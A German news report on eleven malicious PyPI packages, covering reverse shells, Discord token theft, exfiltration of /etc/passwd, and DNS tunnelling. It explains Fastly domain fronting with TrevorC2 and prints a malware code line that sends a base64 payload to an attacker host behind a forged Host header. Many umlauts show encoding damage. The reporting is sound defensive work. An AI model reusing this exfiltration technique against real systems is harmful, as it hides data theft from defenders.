Im Katalog PyPI (Python Package Index) wurden 11 Pakete mit schĂ€dlichem Code identifiziert. Vor der Entdeckung der Probleme wurden die Pakete insgesamt etwa 38.000 Mal heruntergeladen. Die entdeckten schĂ€dlichen Pakete zeichnen sich durch ausgeklĂŒgelte Methoden aus, um die Verbindungen zu den Servern der Angreifer zu verstecken.
- importantpackage (6305 Downloads), important-package (12897) â stellten eine Verbindung zu einem externen Server unter dem Vorwand her, eine Verbindung zu pypi.python.org herzustellen, um Shell-Zugriff auf das System (Reverse Shell) zu gewĂ€hren, und verwendeten das Programm trevorc2, um den Kommunikationskanal zu verstecken.
- pptest (10001), ipboards (946) â verwendeten DNS als Kommunikationskanal, um Informationen ĂŒber das System zu ĂŒbertragen (im ersten Paket Hostname, Arbeitsverzeichnis, interne und externe IP-Adresse, im zweiten â Benutzername und Hostname).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) â ermittelten im System das Token des Discord-Dienstes und sendeten es an einen externen Host.
- trrfab (287) â ĂŒbermittelte an einen externen Host die ID, den Hostnamen und den Inhalt von /etc/passwd, /etc/hosts, /home.
- 10Cent10 (490) â stellte eine Verbindung zu einem externen Host mit einer Reverse Shell her.
- yandex-yt (4183) â meldete eine Systemkompromittierung und leitete auf eine Seite mit weiteren Informationen zu den nĂ€chsten Schritten weiter, bereitgestellt ĂŒber nda.ya.ru (api.ya.cc).
Besondere Aufmerksamkeit verdient die Methode des Zugriffs auf externe Hosts, die in den Paketen importantpackage und important-package verwendet wurde. Diese nutzten das Content Delivery Network Fastly, um ihre AktivitĂ€ten zu verbergen, das im Katalog PyPI eingesetzt wird. TatsĂ€chlich wurden Anfragen an den Server pypi.python.org gesendet (unter Angabe des Namens python.org im SNI innerhalb der HTTPS-Anfrage), wĂ€hrend im HTTP-Header âHostâ der Name des Servers, der den Angreifern gehörte (sec.forward.io.global.prod.fastly.net), angegeben wurde. Das Content Delivery Network leitete eine solche Anfrage an den Angreifer-Server weiter, indem es die TLS-Verbindungsparameter zu pypi.python.org verwendete.
Die Infrastruktur von PyPI wird ĂŒber das Content Delivery Network Fastly bereitgestellt, das zur Zwischenspeicherung typischer Anfragen einen transparenten Varnish-Proxy verwendet. Zudem erfolgt die Verarbeitung von TLS-Zertifikaten auf CDNBasis, nicht auf den Endservern, um HTTPS-Anfragen durch den Proxy weiterzuleiten. UnabhĂ€ngig vom Zielhost werden die Anfragen an den Proxy gesendet, der den entsprechenden Host anhand des HTTP-Headers âHostâ bestimmt, und Domainnamen Hosts werden an die fĂŒr alle Kunden von Fastly typischen IP-Adressen der CDN-Lastenausgleicher gebunden.
Der Server der Angreifer wird ebenfalls im CDN Fastly registriert, welches allen interessierten Nutzern kostenlose Tarife anbietet und sogar anonyme Registrierungen erlaubt. Bemerkenswert ist, dass zur Versendung von Anfragen an das Opfer bei der Erstellung einer âReverse Shellâ ebenfalls ein Ă€hnliches Schema verwendet wird, jedoch initiiert vom Host der Angreifer. Die Interaktion mit dem Server der Angreifer erscheint aus der Sicht als legitime Sitzung mit dem PyPI-Katalog, verschlĂŒsselt mit TLS-Zertifikat PyPI. Eine Technik, die als «Domain Fronting» bekannt ist, wurde frĂŒher aktiv genutzt, um den Hostnamen bei der Umgehung von Sperren zu verbergen. Dies geschah durch die Nutzung einer in einigen CDN-Netzen angebotenen Möglichkeit, ĂŒber HTTPS mit einem fiktiven Hostnamen im SNI zu kommunizieren, wĂ€hrend der tatsĂ€chliche Hostname im HTTP-Header Host innerhalb der TLS-Sitzung ĂŒbertragen wurde.

Zur Verschleierung bösartiger AktivitÀten wurde zusÀtzlich das TrevorC2-Paket eingesetzt. Dieses ermöglicht die Interaktion mit dem Server so zu gestalten, dass sie gewöhnlichem Web-Browsing Àhnelt. Beispielsweise wurden bösartige Anfragen unter dem Deckmantel des Ladens eines Bildes «https://pypi.python.org/images/guid=» gesendet, wobei die Informationen im Parameter guid kodiert wurden. url = «https://pypi.python.org» + «/images» + «?» + «guid=» + b64_payload r = request.Request(url, headers = {'Host': «psec.forward.io.global.prod.fastly.net»})
In den Paketen pptest und ipboards wurde ein anderer Ansatz zur Verschleierung der NetzaktivitĂ€t verwendet, der auf der Kodierung von nĂŒtzlichen Informationen in Anfragen an den DNS-Server basiert. Die Malware ĂŒbertrĂ€gt Informationen, indem sie DNS-Anfragen wie ânu4timjagq4fimbuhe.example.comâ ausfĂŒhrt, in denen die ĂŒbertragenen Daten in einem Subdomain-Namen im Base64-Format kodiert sind. Der Angreifer empfĂ€ngt die Daten, indem er den DNS-Server fĂŒr die Domain example.com kontrolliert.
Quelle: opennet.ru
